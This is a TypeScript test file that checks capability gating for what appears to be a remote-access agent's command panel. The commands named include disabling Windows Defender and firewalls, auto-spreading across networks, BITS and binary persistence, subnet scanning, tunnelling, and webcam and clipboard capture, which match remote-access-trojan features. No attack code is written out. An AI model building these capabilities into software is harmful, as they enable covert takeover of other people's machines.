import { describe, it, expect } from 'vitest'; import { AGGRESSIVE_REMOTE_ACTIONS, aggressiveActionHint, canRunAggressiveAction, } from './aggressiveActions'; /** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */ const UI_REMOTE_ACTIONS = [ 'pause', 'resume', 'stop', 'uninstall', 'restart', 'screenshot', 'camera_snapshot', 'ps', 'sysinfo', 'netstat', 'users', 'software', 'get_log', 'powershell', 'upload', 'push_desktop', 'full_sys_check', ...AGGRESSIVE_REMOTE_ACTIONS, ] as const; /** Implemented in agent/client (handleCommand + aggressive_commands). */ const AGENT_HANDLED = new Set([ 'pause', 'resume', 'restart', 'stop', 'kill', 'uninstall', 'get_log', 'exec', 'powershell', 'upload', 'push_desktop', 'full_sys_check', 'download', 'ps', 'netstat', 'users', 'software', 'screenshot', 'camera_snapshot', 'camera_list', 'sysinfo', 'ipconfig', 'clipboard', 'wifi', 'hole_punch', 'hole_punch_close', 'hole_punch_status', 'spread_now', 'start_tunnel', 'tunnel_cloudflared', 'tunnel_wireguard', 'tunnel_ssh_forward', 'tunnel_status', 'tunnel_stop', 'subnet_scan', 'defender_off', 'firewall_punch', 'firewall_off', 'firewall_on', 'firewall_profiles', 'firewall_remove', 'bits_persist', 'host_binary_persist', 'mesh_status', ]); describe('remote action wiring', () => { it('every UI remote button maps to an agent handler', () => { for (const action of UI_REMOTE_ACTIONS) { expect(AGENT_HANDLED.has(action)).toBe(true); } }); it('gates hole punch when capability missing', () => { expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false); expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true); }); it('blocks defender_off on darwin regardless of caps', () => { const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false }; expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false); expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true); }); }); describe('AGGRESSIVE_REMOTE_ACTIONS', () => { it('lists every wired aggressive command once', () => { expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18); expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18); }); }); const fullCaps = { hole_punch: true, remote_aggressive: true, mesh_p2p: true, auto_spread: true, process_hollowing: false, ai_enabled: false, }; describe('canRunAggressiveAction edge cases', () => { it('allows all actions when caps are undefined (legacy agents)', () => { for (const action of AGGRESSIVE_REMOTE_ACTIONS) { if (action === 'defender_off') continue; expect(canRunAggressiveAction(action, undefined, 'windows')).toBe(true); } }); it('spread_now requires auto_spread or remote_aggressive', () => { const base = { ...fullCaps, auto_spread: false, remote_aggressive: false }; expect(canRunAggressiveAction('spread_now', base)).toBe(false); expect(canRunAggressiveAction('spread_now', { ...base, auto_spread: true })).toBe(true); expect(canRunAggressiveAction('spread_now', { ...base, remote_aggressive: true })).toBe(true); }); it('mesh_status requires mesh_p2p capability', () => { expect(canRunAggressiveAction('mesh_status', { ...fullCaps, mesh_p2p: false })).toBe(false); expect(canRunAggressiveAction('mesh_status', fullCaps)).toBe(true); }); it('remote aggressive ops gate tunnel, scan, defender, firewall', () => { const noAgg = { ...fullCaps, remote_aggressive: false }; for (const action of [ 'start_tunnel', 'tunnel_cloudflared', 'tunnel_ssh_forward', 'tunnel_stop', 'subnet_scan', 'defender_off', 'firewall_punch', 'firewall_off', 'firewall_on', 'firewall_profiles', 'firewall_remove', 'bits_persist', 'host_binary_persist', ] as const) { expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false); expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true); } }); }); describe('aggressiveActionHint', () => { it('returns undefined when action is allowed', () => { expect(aggressiveActionHint('hole_punch', fullCaps)).toBeUndefined(); expect(aggressiveActionHint('spread_now', fullCaps)).toBeUndefined(); }); it('returns macOS-specific hint for defender_off', () => { expect(aggressiveActionHint('defender_off', fullCaps, 'darwin')).toBe( 'Defender disable not supported on macOS' ); }); it('suggests re-forge hints when capability missing', () => { const noCaps = { ...fullCaps, hole_punch: false, auto_spread: false, remote_aggressive: false, mesh_p2p: false }; expect(aggressiveActionHint('hole_punch', noCaps)).toContain('NAT Hole Punch'); expect(aggressiveActionHint('spread_now', noCaps)).toContain('Auto-Spread'); expect(aggressiveActionHint('mesh_status', noCaps)).toContain('Mesh P2P'); expect(aggressiveActionHint('start_tunnel', noCaps)).toContain('Remote Aggressive Ops'); }); });